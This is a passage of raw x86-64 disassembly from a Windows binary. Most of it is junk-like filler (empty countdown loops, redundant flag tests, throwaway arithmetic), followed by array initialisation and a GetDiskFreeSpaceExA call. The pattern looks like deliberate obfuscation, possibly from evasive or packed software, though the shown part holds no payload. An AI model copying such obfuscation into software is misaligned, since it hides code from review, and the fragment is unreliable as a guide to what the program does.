mov dword [rsp + 0x55c], eax
cmp dword [rsp + 0x55c], 0x20
jge 0x1400b57f3
cmp dword [rsp + 0x294], 0
jge 0x1400b57e1
jmp 0x1400b57f3
mov eax, dword [rsp + 0x294]
dec eax
mov dword [rsp + 0x294], eax
jmp 0x1400b57b9
mov dword [rsp + 0x294], 0x8139f
mov dword [rsp + 0x560], 0
cmp dword [rsp + 0x560], 0x24
jge 0x1400b584b
movzx eax, byte [rsp + 0x6d]
test eax, eax
je 0x1400b5828
movzx eax, byte [rsp + 0xa5]
test eax, eax
jne 0x1400b5834
movzx eax, byte [rsp + 0xa6]
test eax, eax
jne 0x1400b5839
mov byte [rsp + 0x6d], 0
mov eax, dword [rsp + 0x560]
inc eax
mov dword [rsp + 0x560], eax
jmp 0x1400b5809
jmp 0x1400b5a3a
mov byte [rsp + 0x3b6], 1
mov byte [rsp + 0x3b7], 0
mov byte [rsp + 0xa7], 0
mov byte [rsp + 0x6e], 1
mov byte [rsp + 0xa8], 0
movzx eax, byte [rsp + 0xa7]
test eax, eax
je 0x1400b588a
movzx eax, byte [rsp + 0x6e]
test eax, eax
jne 0x1400b589a
movzx eax, byte [rsp + 0xa8]
test eax, eax
je 0x1400b5944
mov dword [rsp + 0x298], 0xb2d6
mov dword [rsp + 0x564], 0
jmp 0x1400b58c2
mov eax, dword [rsp + 0x564]
inc eax
mov dword [rsp + 0x564], eax
cmp dword [rsp + 0x564], 0x1e
jge 0x1400b58ec
cmp dword [rsp + 0x298], 0
jge 0x1400b58da
jmp 0x1400b58ec
mov eax, dword [rsp + 0x298]
dec eax
mov dword [rsp + 0x298], eax
jmp 0x1400b58b2
mov dword [rsp + 0x298], 0x35f15
mov dword [rsp + 0x568], 0
cmp dword [rsp + 0x568], 0x1e
jge 0x1400b5944
movzx eax, byte [rsp + 0xa7]
test eax, eax
je 0x1400b5924
movzx eax, byte [rsp + 0xa8]
test eax, eax
jne 0x1400b592d
movzx eax, byte [rsp + 0x6e]
test eax, eax
jne 0x1400b5932
mov byte [rsp + 0x6e], 1
mov eax, dword [rsp + 0x568]
inc eax
mov dword [rsp + 0x568], eax
jmp 0x1400b5902
mov byte [rsp + 0x3b8], 1
mov byte [rsp + 0x3b9], 0
mov byte [rsp + 0xd5], 1
mov byte [rsp + 0xd6], 1
mov byte [rsp + 0x28], 0
movzx eax, byte [rsp + 0xd5]
test eax, eax
jne 0x1400b598e
movzx eax, byte [rsp + 0xd6]
test eax, eax
jne 0x1400b598e
movzx eax, byte [rsp + 0x28]
test eax, eax
je 0x1400b5a32
mov dword [rsp + 0x29c], 0x12513
mov dword [rsp + 0x56c], 0
jmp 0x1400b59b6
mov eax, dword [rsp + 0x56c]
inc eax
mov dword [rsp + 0x56c], eax
cmp dword [rsp + 0x56c], 0x26
jge 0x1400b59e0
cmp dword [rsp + 0x29c], 0
jge 0x1400b59ce
jmp 0x1400b59e0
mov eax, dword [rsp + 0x29c]
dec eax
mov dword [rsp + 0x29c], eax
jmp 0x1400b59a6
mov dword [rsp + 0x29c], 0xd8570
mov dword [rsp + 0x570], 0
cmp dword [rsp + 0x570], 0x16
jge 0x1400b5a32
movzx eax, byte [rsp + 0x28]
test eax, eax
je 0x1400b5a12
movzx eax, byte [rsp + 0x28]
test eax, eax
jne 0x1400b5a1b
movzx eax, byte [rsp + 0x28]
test eax, eax
jne 0x1400b5a20
mov byte [rsp + 0x28], 1
mov eax, dword [rsp + 0x570]
inc eax
mov dword [rsp + 0x570], eax
jmp 0x1400b59f6
mov byte [rsp + 0x3ba], 0
mov byte [rsp + 0x3bb], 1
mov byte [rsp + 0x3bc], 1
mov byte [rsp + 0xd7], 1
mov byte [rsp + 0x47], 0
mov byte [rsp + 0xa9], 0
movzx eax, byte [rsp + 0xd7]
test eax, eax
jne 0x1400b5a84
movzx eax, byte [rsp + 0x47]
test eax, eax
jne 0x1400b5a84
movzx eax, byte [rsp + 0xa9]
test eax, eax
je 0x1400b5b2b
mov dword [rsp + 0x2a0], 0x127c2
mov dword [rsp + 0x574], 0
jmp 0x1400b5aac
mov eax, dword [rsp + 0x574]
inc eax
mov dword [rsp + 0x574], eax
cmp dword [rsp + 0x574], 0x18
jge 0x1400b5ad6
cmp dword [rsp + 0x2a0], 0
jge 0x1400b5ac4
jmp 0x1400b5ad6
mov eax, dword [rsp + 0x2a0]
dec eax
mov dword [rsp + 0x2a0], eax
jmp 0x1400b5a9c
mov dword [rsp + 0x2a0], 0x43539
mov dword [rsp + 0x578], 0
cmp dword [rsp + 0x578], 0x19
jge 0x1400b5b2b
movzx eax, byte [rsp + 0x47]
test eax, eax
je 0x1400b5b08
movzx eax, byte [rsp + 0x47]
test eax, eax
jne 0x1400b5b14
movzx eax, byte [rsp + 0xa9]
test eax, eax
jne 0x1400b5b19
mov byte [rsp + 0x47], 1
mov eax, dword [rsp + 0x578]
inc eax
mov dword [rsp + 0x578], eax
jmp 0x1400b5aec
mov byte [rsp + 0x3bd], 0
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x6f], 0
movzx eax, byte [rsp + 0x70]
test eax, eax
jne 0x1400b5b53
movzx eax, byte [rsp + 0x6f]
test eax, eax
je 0x1400b5bfc
mov dword [rsp + 0x2a4], 0x6764
mov dword [rsp + 0x57c], 0
jmp 0x1400b5b7b
mov eax, dword [rsp + 0x57c]
inc eax
mov dword [rsp + 0x57c], eax
cmp dword [rsp + 0x57c], 8
jge 0x1400b5ba5
cmp dword [rsp + 0x2a4], 0
jge 0x1400b5b93
jmp 0x1400b5ba5
mov eax, dword [rsp + 0x2a4]
dec eax
mov dword [rsp + 0x2a4], eax
jmp 0x1400b5b6b
mov dword [rsp + 0x2a4], 0x52c79
mov dword [rsp + 0x580], 0
cmp dword [rsp + 0x580], 0x37
jge 0x1400b5bf7
movzx eax, byte [rsp + 0x6f]
test eax, eax
je 0x1400b5bd7
movzx eax, byte [rsp + 0x6f]
test eax, eax
jne 0x1400b5be0
movzx eax, byte [rsp + 0x70]
test eax, eax
jne 0x1400b5be5
mov byte [rsp + 0x70], 0
mov eax, dword [rsp + 0x580]
inc eax
mov dword [rsp + 0x580], eax
jmp 0x1400b5bbb
jmp 0x1400b6432
mov byte [rsp + 0x3be], 1
mov byte [rsp + 0x29], 1
movzx eax, byte [rsp + 0x29]
test eax, eax
je 0x1400b5cbf
mov dword [rsp + 0x2a8], 0x10965
mov dword [rsp + 0x584], 0
jmp 0x1400b5c3e
mov eax, dword [rsp + 0x584]
inc eax
mov dword [rsp + 0x584], eax
cmp dword [rsp + 0x584], 0x18
jge 0x1400b5c68
cmp dword [rsp + 0x2a8], 0
jge 0x1400b5c56
jmp 0x1400b5c68
mov eax, dword [rsp + 0x2a8]
dec eax
mov dword [rsp + 0x2a8], eax
jmp 0x1400b5c2e
mov dword [rsp + 0x2a8], 0x26a0
mov dword [rsp + 0x588], 0
cmp dword [rsp + 0x588], 0x40
jge 0x1400b5cba
movzx eax, byte [rsp + 0x29]
test eax, eax
je 0x1400b5c9a
movzx eax, byte [rsp + 0x29]
test eax, eax
jne 0x1400b5ca3
movzx eax, byte [rsp + 0x29]
test eax, eax
jne 0x1400b5ca8
mov byte [rsp + 0x29], 0
mov eax, dword [rsp + 0x588]
inc eax
mov dword [rsp + 0x588], eax
jmp 0x1400b5c7e
jmp 0x1400b5ddd
mov dword [rsp + 0x7fc], 0x1eac
mov dword [rsp + 0x794], 0x200a
mov eax, dword [rsp + 0x794]
add eax, 0x2339
sub eax, dword [rsp + 0x7fc]
mov ecx, dword [rsp + 0x794]
lea eax, [rax + rcx + 0x434]
cdqe
mov qword [rsp + 0xbb8], rax
mov eax, 0x209
mov word [rsp + 0xe8], ax
mov eax, 0x1a51
mov word [rsp + 0x7dc], ax
movsx eax, word [rsp + 0xe8]
mov dword [rsp + 0x800], eax
mov eax, 0x1d06
cdq
mov ecx, dword [rsp + 0x800]
idiv ecx
movsx ecx, word [rsp + 0xe8]
lea eax, [rax + rcx + 0x12c8]
movsx ecx, word [rsp + 0xe8]
sub eax, ecx
sub eax, 0x642
mov dword [rsp + 0x92c], eax
mov dword [rsp + 0x79c], 0x5b5
mov dword [rsp + 0x798], 0xdbe
mov eax, 0x211b
cdq
idiv dword [rsp + 0x798]
mov dword [rsp + 0x804], eax
mov eax, 0x2308
cdq
idiv dword [rsp + 0x798]
cdq
mov ecx, 0xcd2
idiv ecx
mov ecx, dword [rsp + 0x804]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x808], eax
mov eax, dword [rsp + 0x79c]
cdq
mov ecx, 0x1012
idiv ecx
mov ecx, dword [rsp + 0x808]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x79c]
lea eax, [rax + rcx + 0x240d]
mov dword [rsp + 0x930], eax
mov byte [rsp + 0x3bf], 0
mov byte [rsp + 0x2a], 1
movzx eax, byte [rsp + 0x2a]
test eax, eax
je 0x1400b5e9b
mov dword [rsp + 0x2ac], 0x1040f
mov dword [rsp + 0x434], 0
jmp 0x1400b5e1f
mov eax, dword [rsp + 0x434]
inc eax
mov dword [rsp + 0x434], eax
cmp dword [rsp + 0x434], 0x1a
jge 0x1400b5e49
cmp dword [rsp + 0x2ac], 0
jge 0x1400b5e37
jmp 0x1400b5e49
mov eax, dword [rsp + 0x2ac]
dec eax
mov dword [rsp + 0x2ac], eax
jmp 0x1400b5e0f
mov dword [rsp + 0x2ac], 0x169ae
mov dword [rsp + 0x58c], 0
cmp dword [rsp + 0x58c], 0x4a
jge 0x1400b5e9b
movzx eax, byte [rsp + 0x2a]
test eax, eax
je 0x1400b5e7b
movzx eax, byte [rsp + 0x2a]
test eax, eax
jne 0x1400b5e84
movzx eax, byte [rsp + 0x2a]
test eax, eax
jne 0x1400b5e89
mov byte [rsp + 0x2a], 0
mov eax, dword [rsp + 0x58c]
inc eax
mov dword [rsp + 0x58c], eax
jmp 0x1400b5e5f
mov byte [rsp + 0x3c0], 1
mov byte [rsp + 0xab], 0
mov byte [rsp + 0xaa], 0
mov byte [rsp + 0x71], 0
movzx eax, byte [rsp + 0xab]
test eax, eax
je 0x1400b5f8f
movzx eax, byte [rsp + 0xaa]
test eax, eax
je 0x1400b5f8f
movzx eax, byte [rsp + 0x71]
test eax, eax
je 0x1400b5f8f
mov dword [rsp + 0x2b0], 0xf558
mov dword [rsp + 0x590], 0
jmp 0x1400b5f0d
mov eax, dword [rsp + 0x590]
inc eax
mov dword [rsp + 0x590], eax
cmp dword [rsp + 0x590], 0xf
jge 0x1400b5f37
cmp dword [rsp + 0x2b0], 0
jge 0x1400b5f25
jmp 0x1400b5f37
mov eax, dword [rsp + 0x2b0]
dec eax
mov dword [rsp + 0x2b0], eax
jmp 0x1400b5efd
mov dword [rsp + 0x2b0], 0xc94b9
mov dword [rsp + 0x594], 0
cmp dword [rsp + 0x594], 0x39
jge 0x1400b5f8f
movzx eax, byte [rsp + 0xaa]
test eax, eax
je 0x1400b5f6c
movzx eax, byte [rsp + 0x71]
test eax, eax
jne 0x1400b5f78
movzx eax, byte [rsp + 0xab]
test eax, eax
jne 0x1400b5f7d
mov byte [rsp + 0x71], 0
mov eax, dword [rsp + 0x594]
inc eax
mov dword [rsp + 0x594], eax
jmp 0x1400b5f4d
mov byte [rsp + 0x3c1], 0
mov byte [rsp + 0x3c2], 1
mov byte [rsp + 0x3c3], 1
mov byte [rsp + 0x48], 0
mov byte [rsp + 0xac], 1
movzx eax, byte [rsp + 0x48]
test eax, eax
je 0x1400b6078
movzx eax, byte [rsp + 0xac]
test eax, eax
je 0x1400b6078
mov dword [rsp + 0x2b4], 0x1ece
mov dword [rsp + 0x598], 0
jmp 0x1400b5ff9
mov eax, dword [rsp + 0x598]
inc eax
mov dword [rsp + 0x598], eax
cmp dword [rsp + 0x598], 0x1e
jge 0x1400b6023
cmp dword [rsp + 0x2b4], 0
jge 0x1400b6011
jmp 0x1400b6023
mov eax, dword [rsp + 0x2b4]
dec eax
mov dword [rsp + 0x2b4], eax
jmp 0x1400b5fe9
mov dword [rsp + 0x2b4], 0x7e70
mov dword [rsp + 0x59c], 0
cmp dword [rsp + 0x59c], 0x11
jge 0x1400b6078
movzx eax, byte [rsp + 0x48]
test eax, eax
je 0x1400b6055
movzx eax, byte [rsp + 0x48]
test eax, eax
jne 0x1400b6061
movzx eax, byte [rsp + 0xac]
test eax, eax
jne 0x1400b6066
mov byte [rsp + 0x48], 0
mov eax, dword [rsp + 0x59c]
inc eax
mov dword [rsp + 0x59c], eax
jmp 0x1400b6039
mov byte [rsp + 0x3c4], 0
mov byte [rsp + 0x72], 0
mov byte [rsp + 0x73], 1
movzx eax, byte [rsp + 0x72]
test eax, eax
je 0x1400b6148
movzx eax, byte [rsp + 0x73]
test eax, eax
je 0x1400b6148
mov dword [rsp + 0x2b8], 0xee74
mov dword [rsp + 0x5a0], 0
jmp 0x1400b60cc
mov eax, dword [rsp + 0x5a0]
inc eax
mov dword [rsp + 0x5a0], eax
cmp dword [rsp + 0x5a0], 0x25
jge 0x1400b60f6
cmp dword [rsp + 0x2b8], 0
jge 0x1400b60e4
jmp 0x1400b60f6
mov eax, dword [rsp + 0x2b8]
dec eax
mov dword [rsp + 0x2b8], eax
jmp 0x1400b60bc
mov dword [rsp + 0x2b8], 0xe1dd2
mov dword [rsp + 0x5a4], 0
cmp dword [rsp + 0x5a4], 0x10
jge 0x1400b6148
movzx eax, byte [rsp + 0x73]
test eax, eax
je 0x1400b6128
movzx eax, byte [rsp + 0x72]
test eax, eax
jne 0x1400b6131
movzx eax, byte [rsp + 0x72]
test eax, eax
jne 0x1400b6136
mov byte [rsp + 0x73], 1
mov eax, dword [rsp + 0x5a4]
inc eax
mov dword [rsp + 0x5a4], eax
jmp 0x1400b610c
mov byte [rsp + 0x3c5], 1
mov byte [rsp + 0x49], 1
mov byte [rsp + 0xad], 1
movzx eax, byte [rsp + 0x49]
test eax, eax
jne 0x1400b6176
movzx eax, byte [rsp + 0xad]
test eax, eax
je 0x1400b6222
mov dword [rsp + 0x2bc], 0x4ac2
mov dword [rsp + 0x5a8], 0
jmp 0x1400b619e
mov eax, dword [rsp + 0x5a8]
inc eax
mov dword [rsp + 0x5a8], eax
cmp dword [rsp + 0x5a8], 0xd
jge 0x1400b61c8
cmp dword [rsp + 0x2bc], 0
jge 0x1400b61b6
jmp 0x1400b61c8
mov eax, dword [rsp + 0x2bc]
dec eax
mov dword [rsp + 0x2bc], eax
jmp 0x1400b618e
mov dword [rsp + 0x2bc], 0x2a4de
mov dword [rsp + 0x5ac], 0
cmp dword [rsp + 0x5ac], 0x39
jge 0x1400b621d
movzx eax, byte [rsp + 0x49]
test eax, eax
je 0x1400b61fa
movzx eax, byte [rsp + 0x49]
test eax, eax
jne 0x1400b6203
movzx eax, byte [rsp + 0x49]
test eax, eax
jne 0x1400b620b
mov byte [rsp + 0xad], 0
mov eax, dword [rsp + 0x5ac]
inc eax
mov dword [rsp + 0x5ac], eax
jmp 0x1400b61de
jmp 0x1400b6432
mov qword [rsp + 0x8c8], 0xbd5
mov dword [rsp + 0x80c], 0x1156
mov rax, qword [rsp + 0x8c8]
sub rax, 0x295
mov qword [rsp + 0xa18], rax
mov eax, dword [rsp + 0x80c]
cdq
mov ecx, 0x597
idiv ecx
cdqe
cqo
idiv qword [rsp + 0x8c8]
cqo
mov ecx, 0xc3d
idiv rcx
mov rcx, qword [rsp + 0xa18]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x934], eax
mov dword [rsp + 0x7a0], 0x1112
mov dword [rsp + 0x810], 0x143f
mov eax, 0x12f2
cdq
idiv dword [rsp + 0x7a0]
cdq
mov ecx, 0x365
idiv ecx
cdq
idiv dword [rsp + 0x7a0]
mov dword [rsp + 0x814], eax
mov eax, dword [rsp + 0x810]
cdq
mov ecx, 0x1804
idiv ecx
mov ecx, dword [rsp + 0x814]
lea eax, [rcx + rax - 0xf2c]
mov dword [rsp + 0x938], eax
mov dword [rsp + 0x5b0], 0x13ed
mov dword [rsp + 0x818], 0x1ebf
mov eax, dword [rsp + 0x818]
sub eax, 0x1a45
sub eax, dword [rsp + 0x5b0]
mov ecx, dword [rsp + 0x5b0]
lea eax, [rax + rcx + 0xc50]
mov dword [rsp + 0x81c], eax
mov eax, 0x15fb
cdq
idiv dword [rsp + 0x5b0]
mov ecx, dword [rsp + 0x81c]
sub ecx, eax
mov eax, ecx
add eax, 0x1d23
cdqe
mov qword [rsp + 0xbc0], rax
mov dword [rsp + 0x5b4], 0x160a
mov dword [rsp + 0x820], 0x24d3
mov eax, 0x2164
sub eax, dword [rsp + 0x5b4]
add eax, 0x63
mov dword [rsp + 0x824], eax
mov eax, dword [rsp + 0x820]
cdq
mov ecx, 0x149c
idiv ecx
mov ecx, dword [rsp + 0x824]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5b4]
lea eax, [rax + rcx + 0x22de]
sub eax, dword [rsp + 0x5b4]
sub eax, 0x424
cdqe
mov qword [rsp + 0xbc8], rax
mov dword [rsp + 0x82c], 0x11a3
mov dword [rsp + 0x5b8], 0x1c00
mov eax, 0x833
sub eax, dword [rsp + 0x5b8]
mov dword [rsp + 0x828], eax
mov eax, dword [rsp + 0x5b8]
cdq
mov ecx, 0x1657
idiv ecx
mov ecx, dword [rsp + 0x828]
lea eax, [rcx + rax - 0x912]
mov dword [rsp + 0x830], eax
mov eax, dword [rsp + 0x82c]
cdq
mov ecx, 0x24a5
idiv ecx
mov ecx, dword [rsp + 0x830]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5b8]
lea eax, [rax + rcx + 0x391]
mov dword [rsp + 0x93c], eax
mov byte [rsp + 0x3c6], 1
mov byte [rsp + 0x3c7], 1
mov byte [rsp + 0x3c8], 1
mov byte [rsp + 0x3c9], 1
mov byte [rsp + 0x2b], 1
movzx eax, byte [rsp + 0x2b]
test eax, eax
je 0x1400b6508
mov dword [rsp + 0x2c0], 0x2218
mov dword [rsp + 0x5bc], 0
jmp 0x1400b648c
mov eax, dword [rsp + 0x5bc]
inc eax
mov dword [rsp + 0x5bc], eax
cmp dword [rsp + 0x5bc], 0xd
jge 0x1400b64b6
cmp dword [rsp + 0x2c0], 0
jge 0x1400b64a4
jmp 0x1400b64b6
mov eax, dword [rsp + 0x2c0]
dec eax
mov dword [rsp + 0x2c0], eax
jmp 0x1400b647c
mov dword [rsp + 0x2c0], 0x1ec8f
mov dword [rsp + 0x5c0], 0
cmp dword [rsp + 0x5c0], 0x14
jge 0x1400b6508
movzx eax, byte [rsp + 0x2b]
test eax, eax
je 0x1400b64e8
movzx eax, byte [rsp + 0x2b]
test eax, eax
jne 0x1400b64f1
movzx eax, byte [rsp + 0x2b]
test eax, eax
jne 0x1400b64f6
mov byte [rsp + 0x2b], 1
mov eax, dword [rsp + 0x5c0]
inc eax
mov dword [rsp + 0x5c0], eax
jmp 0x1400b64cc
mov byte [rsp + 0x3ca], 0
mov byte [rsp + 0x2c], 1
movzx eax, byte [rsp + 0x2c]
test eax, eax
je 0x1400b65cb
mov dword [rsp + 0x2c4], 0x16977
mov dword [rsp + 0x5c4], 0
jmp 0x1400b654a
mov eax, dword [rsp + 0x5c4]
inc eax
mov dword [rsp + 0x5c4], eax
cmp dword [rsp + 0x5c4], 4
jge 0x1400b6574
cmp dword [rsp + 0x2c4], 0
jge 0x1400b6562
jmp 0x1400b6574
mov eax, dword [rsp + 0x2c4]
dec eax
mov dword [rsp + 0x2c4], eax
jmp 0x1400b653a
mov dword [rsp + 0x2c4], 0x1ed39
mov dword [rsp + 0x5c8], 0
cmp dword [rsp + 0x5c8], 0x20
jge 0x1400b65c6
movzx eax, byte [rsp + 0x2c]
test eax, eax
je 0x1400b65a6
movzx eax, byte [rsp + 0x2c]
test eax, eax
jne 0x1400b65af
movzx eax, byte [rsp + 0x2c]
test eax, eax
jne 0x1400b65b4
mov byte [rsp + 0x2c], 1
mov eax, dword [rsp + 0x5c8]
inc eax
mov dword [rsp + 0x5c8], eax
jmp 0x1400b658a
jmp 0x1400b6854
mov byte [rsp + 0x3cb], 1
mov byte [rsp + 0x3cc], 0
mov byte [rsp + 0xae], 1
mov byte [rsp + 0x4a], 0
movzx eax, byte [rsp + 0xae]
test eax, eax
jne 0x1400b6601
movzx eax, byte [rsp + 0x4a]
test eax, eax
je 0x1400b66a8
mov dword [rsp + 0x2c8], 0x15450
mov dword [rsp + 0x5cc], 0
jmp 0x1400b6629
mov eax, dword [rsp + 0x5cc]
inc eax
mov dword [rsp + 0x5cc], eax
cmp dword [rsp + 0x5cc], 4
jge 0x1400b6653
cmp dword [rsp + 0x2c8], 0
jge 0x1400b6641
jmp 0x1400b6653
mov eax, dword [rsp + 0x2c8]
dec eax
mov dword [rsp + 0x2c8], eax
jmp 0x1400b6619
mov dword [rsp + 0x2c8], 0xf1ff5
mov dword [rsp + 0x5d0], 0
cmp dword [rsp + 0x5d0], 0x37
jge 0x1400b66a8
movzx eax, byte [rsp + 0xae]
test eax, eax
je 0x1400b6688
movzx eax, byte [rsp + 0x4a]
test eax, eax
jne 0x1400b6691
movzx eax, byte [rsp + 0x4a]
test eax, eax
jne 0x1400b6696
mov byte [rsp + 0x4a], 1
mov eax, dword [rsp + 0x5d0]
inc eax
mov dword [rsp + 0x5d0], eax
jmp 0x1400b6669
mov byte [rsp + 0x3cd], 1
mov byte [rsp + 0x2d], 0
movzx eax, byte [rsp + 0x2d]
test eax, eax
je 0x1400b6766
mov dword [rsp + 0x2cc], 0xcc78
mov dword [rsp + 0x5d4], 0
jmp 0x1400b66ea
mov eax, dword [rsp + 0x5d4]
inc eax
mov dword [rsp + 0x5d4], eax
cmp dword [rsp + 0x5d4], 0x2e
jge 0x1400b6714
cmp dword [rsp + 0x2cc], 0
jge 0x1400b6702
jmp 0x1400b6714
mov eax, dword [rsp + 0x2cc]
dec eax
mov dword [rsp + 0x2cc], eax
jmp 0x1400b66da
mov dword [rsp + 0x2cc], 0xc4e29
mov dword [rsp + 0x5d8], 0
cmp dword [rsp + 0x5d8], 0xd
jge 0x1400b6766
movzx eax, byte [rsp + 0x2d]
test eax, eax
je 0x1400b6746
movzx eax, byte [rsp + 0x2d]
test eax, eax
jne 0x1400b674f
movzx eax, byte [rsp + 0x2d]
test eax, eax
jne 0x1400b6754
mov byte [rsp + 0x2d], 1
mov eax, dword [rsp + 0x5d8]
inc eax
mov dword [rsp + 0x5d8], eax
jmp 0x1400b672a
mov byte [rsp + 0x3ce], 1
mov byte [rsp + 0x3cf], 1
mov byte [rsp + 0x2e], 1
mov byte [rsp + 0xd8], 1
movzx eax, byte [rsp + 0x2e]
test eax, eax
je 0x1400b6844
movzx eax, byte [rsp + 0xd8]
test eax, eax
je 0x1400b6844
mov dword [rsp + 0x2d0], 0x561d
mov dword [rsp + 0x5dc], 0
jmp 0x1400b67c8
mov eax, dword [rsp + 0x5dc]
inc eax
mov dword [rsp + 0x5dc], eax
cmp dword [rsp + 0x5dc], 0x26
jge 0x1400b67f2
cmp dword [rsp + 0x2d0], 0
jge 0x1400b67e0
jmp 0x1400b67f2
mov eax, dword [rsp + 0x2d0]
dec eax
mov dword [rsp + 0x2d0], eax
jmp 0x1400b67b8
mov dword [rsp + 0x2d0], 0x44468
mov dword [rsp + 0x5e0], 0
cmp dword [rsp + 0x5e0], 0x32
jge 0x1400b6844
movzx eax, byte [rsp + 0x2e]
test eax, eax
je 0x1400b6824
movzx eax, byte [rsp + 0x2e]
test eax, eax
jne 0x1400b682d
movzx eax, byte [rsp + 0x2e]
test eax, eax
jne 0x1400b6832
mov byte [rsp + 0x2e], 0
mov eax, dword [rsp + 0x5e0]
inc eax
mov dword [rsp + 0x5e0], eax
jmp 0x1400b6808
mov byte [rsp + 0x3d0], 0
mov byte [rsp + 0x3d1], 1
mov byte [rsp + 0x3d2], 1
mov byte [rsp + 0x3d3], 1
mov byte [rsp + 0xd9], 1
mov byte [rsp + 0xaf], 0
mov byte [rsp + 0x74], 1
mov byte [rsp + 0xb0], 0
movzx eax, byte [rsp + 0xd9]
test eax, eax
jne 0x1400b68b6
movzx eax, byte [rsp + 0xaf]
test eax, eax
jne 0x1400b68b6
movzx eax, byte [rsp + 0x74]
test eax, eax
je 0x1400b6965
movzx eax, byte [rsp + 0xb0]
test eax, eax
je 0x1400b6965
mov dword [rsp + 0x2d4], 0x14971
mov dword [rsp + 0x5e4], 0
jmp 0x1400b68de
mov eax, dword [rsp + 0x5e4]
inc eax
mov dword [rsp + 0x5e4], eax
cmp dword [rsp + 0x5e4], 0x29
jge 0x1400b6908
cmp dword [rsp + 0x2d4], 0
jge 0x1400b68f6
jmp 0x1400b6908
mov eax, dword [rsp + 0x2d4]
dec eax
mov dword [rsp + 0x2d4], eax
jmp 0x1400b68ce
mov dword [rsp + 0x2d4], 0xe35ca
mov dword [rsp + 0x5e8], 0
cmp dword [rsp + 0x5e8], 0x18
jge 0x1400b6960
movzx eax, byte [rsp + 0x74]
test eax, eax
je 0x1400b693d
movzx eax, byte [rsp + 0xaf]
test eax, eax
jne 0x1400b6949
movzx eax, byte [rsp + 0xb0]
test eax, eax
jne 0x1400b694e
mov byte [rsp + 0x74], 1
mov eax, dword [rsp + 0x5e8]
inc eax
mov dword [rsp + 0x5e8], eax
jmp 0x1400b691e
jmp 0x1400b6b27
lea rax, [rsp + 0x16fb0]
mov rdi, rax
xor eax, eax
mov ecx, 0xb60
rep stosb byte [rdi], al
mov dword [rsp + 0x2d8], 0
jmp 0x1400b6996
mov eax, dword [rsp + 0x2d8]
inc eax
mov dword [rsp + 0x2d8], eax
movsxd rax, dword [rsp + 0x2d8]
cmp rax, 7
jae 0x1400b69fb
mov dword [rsp + 0x2dc], 0
jmp 0x1400b69c1
mov eax, dword [rsp + 0x2dc]
inc eax
mov dword [rsp + 0x2dc], eax
cmp dword [rsp + 0x2dc], 0x34
jge 0x1400b69f9
movsxd rax, dword [rsp + 0x2d8]
imul rax, rax, 0x1a0
lea rax, [rsp + rax + 0x16fb0]
movsxd rcx, dword [rsp + 0x2dc]
movsd xmm0, qword [0x140124570]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b69b1
jmp 0x1400b6986
lea rax, [rsp + 0x83d0]
mov rdi, rax
xor eax, eax
mov ecx, 0xb60
rep stosb byte [rdi], al
mov dword [rsp + 0x2e0], 0
jmp 0x1400b6a2c
mov eax, dword [rsp + 0x2e0]
inc eax
mov dword [rsp + 0x2e0], eax
movsxd rax, dword [rsp + 0x2e0]
cmp rax, 7
jae 0x1400b6a91
mov dword [rsp + 0x2e4], 0
jmp 0x1400b6a57
mov eax, dword [rsp + 0x2e4]
inc eax
mov dword [rsp + 0x2e4], eax
cmp dword [rsp + 0x2e4], 0x34
jge 0x1400b6a8f
movsxd rax, dword [rsp + 0x2e0]
imul rax, rax, 0x1a0
lea rax, [rsp + rax + 0x83d0]
movsxd rcx, dword [rsp + 0x2e4]
movsd xmm0, qword [0x140125828]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b6a47
jmp 0x1400b6a1c
lea rax, [rsp + 0x18bf0]
mov rdi, rax
xor eax, eax
mov ecx, 0xb60
rep stosb byte [rdi], al
mov dword [rsp + 0x2e8], 0
jmp 0x1400b6ac2
mov eax, dword [rsp + 0x2e8]
inc eax
mov dword [rsp + 0x2e8], eax
movsxd rax, dword [rsp + 0x2e8]
cmp rax, 7
jae 0x1400b6b27
mov dword [rsp + 0x2ec], 0
jmp 0x1400b6aed
mov eax, dword [rsp + 0x2ec]
inc eax
mov dword [rsp + 0x2ec], eax
cmp dword [rsp + 0x2ec], 0x34
jge 0x1400b6b25
movsxd rax, dword [rsp + 0x2e8]
imul rax, rax, 0x1a0
lea rax, [rsp + rax + 0x18bf0]
movsxd rcx, dword [rsp + 0x2ec]
movsd xmm0, qword [0x1401259a8]
movsd qword [rax + rcx*8], xmm0
jmp 0x1400b6add
jmp 0x1400b6ab2
mov byte [rsp + 0x3d4], 0
mov byte [rsp + 0x3d5], 0
mov byte [rsp + 0x3d6], 1
mov byte [rsp + 0x75], 1
mov byte [rsp + 0x76], 0
movzx eax, byte [rsp + 0x75]
test eax, eax
je 0x1400b6c07
movzx eax, byte [rsp + 0x76]
test eax, eax
je 0x1400b6c07
mov dword [rsp + 0x2f0], 0x132f3
mov dword [rsp + 0x5ec], 0
jmp 0x1400b6b8b
mov eax, dword [rsp + 0x5ec]
inc eax
mov dword [rsp + 0x5ec], eax
cmp dword [rsp + 0x5ec], 0x1d
jge 0x1400b6bb5
cmp dword [rsp + 0x2f0], 0
jge 0x1400b6ba3
jmp 0x1400b6bb5
mov eax, dword [rsp + 0x2f0]
dec eax
mov dword [rsp + 0x2f0], eax
jmp 0x1400b6b7b
mov dword [rsp + 0x2f0], 0xcb4d5
mov dword [rsp + 0x5f0], 0
cmp dword [rsp + 0x5f0], 0x17
jge 0x1400b6c07
movzx eax, byte [rsp + 0x76]
test eax, eax
je 0x1400b6be7
movzx eax, byte [rsp + 0x75]
test eax, eax
jne 0x1400b6bf0
movzx eax, byte [rsp + 0x75]
test eax, eax
jne 0x1400b6bf5
mov byte [rsp + 0x76], 0
mov eax, dword [rsp + 0x5f0]
inc eax
mov dword [rsp + 0x5f0], eax
jmp 0x1400b6bcb
lea r9, [rsp + 0xbd0]
lea r8, [rsp + 0x908]
lea rdx, [rsp + 0xbd8]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov dword [rsp + 0x864], eax
mov byte [rsp + 0x3d7], 0
mov byte [rsp + 0x3d8], 0
mov byte [rsp + 0x3d9], 0
mov byte [rsp + 0x3da], 0
mov byte [rsp + 0x77], 1
mov byte [rsp + 0x78], 0
